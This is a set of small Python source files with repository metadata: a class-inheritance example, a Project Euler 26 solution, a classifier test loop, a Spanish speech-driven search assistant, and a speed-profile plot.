27d107d2377ffbe164c6f43820341b6574005289

[]

no_license

gkalidas/Python

1ae8fb443486a6122727a4ca34faadc02bd8d3ba

7413bd9055e64973b9708e1b5c926efd0e599044

refs/heads/master

2020-04-10T05:08:27.104227

2019-12-15T17:02:10

160,818,601

0

null

UTF-8

Python

false

758

py

# # Example file for working with classes # class myClass(): def method1(self): print("myClass method1") def method2(self, someString): print("myClass method2 " + someString) #anotherClass is inheriting the methods from myClass class anotherClass(myClass): def method1(self): #we are inheriting the method of myClass #self is similar to "this" keyword myClass.method1(self) print("anotherClass method1") #method overriding, as we are not calling the inherited function def method2(self, someString): print("anotherClass method2 ") def main(): c = myClass() c.method1() c.method2("This is string") c2 = anotherClass() c2.method1() c2.method2("This is a string2") if __name__ == "__main__": main()

[ "ganeshlondhe2020@gmail.com" ]

ganeshlondhe2020@gmail.com

b20c6b7ea476c9e864e44c213bd9a008d3a3881f

6f38cf9346360993320d422b8df7a23414cbbb38

/PrjEuler/026/026.py

4a598ad91c3e4cab4e4c6dd45c26be55dcaa7f03

[]

no_license

goldenpython/Contests

8042cec56e9666d7232d86b4d321b4ebc4bea95e

78fa330cf8b522b3f13d0fbcf32e1a28e3dd0f5c

refs/heads/master

2021-07-10T01:28:13.858232

2019-10-05T20:32:08

5,333,035

1

null

2019-10-05T20:32:09

2012-08-07T20:18:48

C++

UTF-8

Python

false

956

py

################################################################################ # Cristian Alexandrescu # # 2163013577ba2bc237f22b3f4d006856 # # 11a4bb2c77aca6a9927b85f259d9af10db791ce5cf884bb31e7f7a889d4fb385 # # bc9a53289baf23d369484f5343ed5d6c # ################################################################################ def RecCycle(d): list = []; x = 10; while True: c = int(x / d); r = x % d; if r == 0: return 0; p = (c, r); if p in list: return len(list) - list.index(p); else: list.append(p); x = r * 10; def Solve(): Solution = {x : RecCycle(x) for x in range(3, 1000)}; Max = max(Solution.values()); Solution = [x for x in Solution.keys() if Solution[x] == Max]; print("Solution : ", min(Solution)); print ("PROJECT EULER 026:"); Solve();

[ "cralexandrescu@gmail.com" ]

cralexandrescu@gmail.com

5d63a29f73198d37de548cfa0f47b0028dc6aa21

01265678a724c0be60a9b0f6ead3dd74df748ef0

/evaluation.py

bddc8d3629dcc93de90b4141c0901015eea074da

[]

no_license

sabyasachi-choudhury/Kasey

0b4a364977ab8600d57e181060fe6f5ca5aa2846

a1a6079e1c42dffa43fb1c71d5eec0b7699eba9e

refs/heads/main

2023-06-20T07:04:47.696602

2021-07-14T06:50:19

385,841,440

0

null

UTF-8

Python

false

734

py

import random import main as mn chars = 'qwertyuiopasdfghjklzxcvbnm ' def test(epochs): probs = [] correct_detections = [] for x in range(epochs): word = "" for y in range(random.randint(8, 25)): word += random.choice(chars) prediction = mn.classify(word) if prediction: probs.append(prediction[0][1]) # print(word) else: correct_detections.append(word) avg = sum(probs)/len(probs) * 100 print(avg) print(len(correct_detections)) return avg averages = [] for x in range(10): print("Epoch:", x+1) averages.append(test(1000)) print("Big avg:", sum(averages)/len(averages))

[ "noreply@github.com" ]

sabyasachi-choudhury.noreply@github.com

3b3178710bb1584d794ee1cd7a69dd56e62533e4

4267016f8ea7ce51d7628a9992a97820a0bd305f

/main.py

35c8974559c8077a95f8c6d07e714aa9e49a0ea0

[]

no_license

moiss16/ASISTENTE

9dd345487b71fe77c3a8dd3c00e8292dc416c05b

83b502c0865d298f8ec436674ac15b33748233ff

refs/heads/main

2023-05-01T07:42:49.246277

2021-05-05T00:14:04

364,419,415

0

null

UTF-8

Python

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1,286

py

import speech_recognition as sr r= sr.Recognizer() import time import webbrowser def record_audio(ask=False): with sr.Microphone() as source: if ask: print(ask) audio = r.listen(source) voice_data ='' try: voice_data =r.recognize_google(audio) except sr.UnknownValueError: print('Lo siento no te entiendo') except sr.RequestError: print('Lo siento, error de conexion') return voice_data def respond(voice_data): if 'como te llamas' in voice_data: print('Mi nombre es alexis') if 'hora' in voice_data: print(time.ctime()) if 'buscar' in voice_data: buscar = record_audio('¿que necesitas buscar?') url= ('https://google.com/search?q=' + buscar) webbrowser.get().open(url) print('esto es lo que encontre para:'+buscar) if 'place' in voice_data: place = record_audio("¿Que lugar?") url=('https://google.nl/maps/place/'+place+'/&') webbrowser.get().open(url) print('Esto es lo que encontre para '+place) #time.sleep(1) print('¿Como te puedo ayudar?') #while 1: voice_data = record_audio() respond(voice_data) #print(voice_data)

[ "noreply@github.com" ]

moiss16.noreply@github.com

fe4480acba5a812f116032631f99921ae72e907e

8366d4e68bcba4bad6e4cdcc0e04b0a8c90652b9

/MRSPPlot.py

3375f85222f8b4e88fe7ea0218f10c8e46db8b0e

[]

no_license

jancervenka/EVCSim

dfacd84ce0e369056f36780b9a5612e6a17da84c

daedeedf76e86db4d6c2651ca9a7c8280c9cbd8d

refs/heads/master

2021-06-18T07:09:31.606064

2017-06-07T08:13:23

91,266,760

0

null

UTF-8

Python

false

277

py

import matplotlib.pyplot as plt MRSP = [120 for i in range(0, 2999)] MRSP += [60 for i in range(0, 2000)] plt.plot(MRSP, color = 'b') plt.xlabel('distance [m]') plt.ylabel('MRSP value [km/h]') plt.title('MRSP Test') plt.xlim([0, len(MRSP) - 1]) plt.ylim([0, 150]) plt.show()

[ "cervej23@fd.cvut.cz" ]

cervej23@fd.cvut.cz